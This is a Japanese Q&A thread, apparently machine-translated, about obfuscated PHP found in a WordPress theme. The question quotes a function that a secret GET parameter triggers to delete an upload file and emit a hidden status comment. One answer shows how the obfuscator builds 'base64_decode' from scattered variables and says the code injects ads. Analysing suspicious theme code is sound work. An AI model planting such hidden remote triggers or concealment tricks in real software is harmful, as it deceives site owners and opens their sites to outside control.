0

最近Wordpressのテーマを入手しましたが、このエンコーディングのすべてに大量のアンダースコアが含まれているのか理解できません。私はそれが何をするのか理解しましたが、それを1つずつより速くデコードする方法を理解していません。あなたはできる

1)エンコーディングとは何か教えてください。そして2)それをより速くデコードする方法は?

    function aj_________e() {
        global $_GET, $wt___q;

        $dw________e = rk_______g();
        $xt____________m = pc__p();
        $zq_______o = iw__________h();

        $ci______m = "full";
        if ($_GET["wp_cache_cl"] == "197ab5deb39daad8baacae1bdd5a8852") {
            if ($zq_______o == "file") {
                $rd_________v = $dw________e["dir_upload"]["path"]."/".$xt____________m.".jpg";
                if ($wt___q($rd_________v)) {
                    @unlink($rd_________v);
                    $ci______m = "deleted";
                }
            }

            $uk___s = array(
                "s" => $ci______m,
                "t" => time(),
                "v" => WP_ID
            );

            echo "<!--";
            foreach ($uk___s AS $ce_____________t => $ik__________m) echo " [$ce_____________t:$ik__________m]";
            echo " -->";
        }
    }
4

3 に答える 3

2

Wordpressは難読化されています。あなたはそれらをそれほど簡単に読むことはできません。これについて:http://en.wikipedia.org/wiki/Obfuscation

于 2013-01-08T18:49:13.033 に答える
1

このコードは、一部のファイル コンテンツを定期的に、テーマ サプライヤーが管理する更新された広告に置き換えます。難読化されたコードは、一般に、不要な広告を含め、広告によってその肉の塊を手に入れます。(わかりました、このコードはその部分を実行しませんが、ここではコードのスニペットを提示しただけです。)

あなたが逃したビットは、このようなもので、base64_decode便利な名前の変数に値を割り当てます$csGIYFfb。すべての文字列の値がわかったら、コードを読むことができます。

$HnSjwuR='e';
$JBzO='s';
$CiCHjis='6';
$APNhIK='d';
$TWmEOd='d';
$jygti='_';
$PuGIIg='4';
$nyyif='e';
$mgtv='o';
$AJAsO='a';
$LRRqTj='e';
$KCHbUS='b';
$DjstEZ='c';
$csGIYFfb=$KCHbUS.$AJAsO.$JBzO.$LRRqTj.$CiCHjis.$PuGIIg.$jygti.$TWmEOd.$HnSjwuR.$DjstEZ.$mgtv.$APNhIK.$nyyif;

ここで明確にするために、あなたが提供したコードはほとんど難読化されていません。おそらく意味のある変数名と関数名が、アンダースコアの大規模な帯を含むランダムな文字列に置き換えられて、単に醜いものになっているだけです。あなたが提示しなかったコードの部分は、これらの関数の意味を定義しています。これらの関数は、curlシステムをおそらく不要な広告で満たすために使用されます.

于 2013-04-04T06:00:43.303 に答える
1

元の作成者は、ある種の難読化ツールを使用してこのコードを実行したと思います。おそらく、クリーンバージョンについて連絡してください。

于 2013-01-08T18:50:23.067 に答える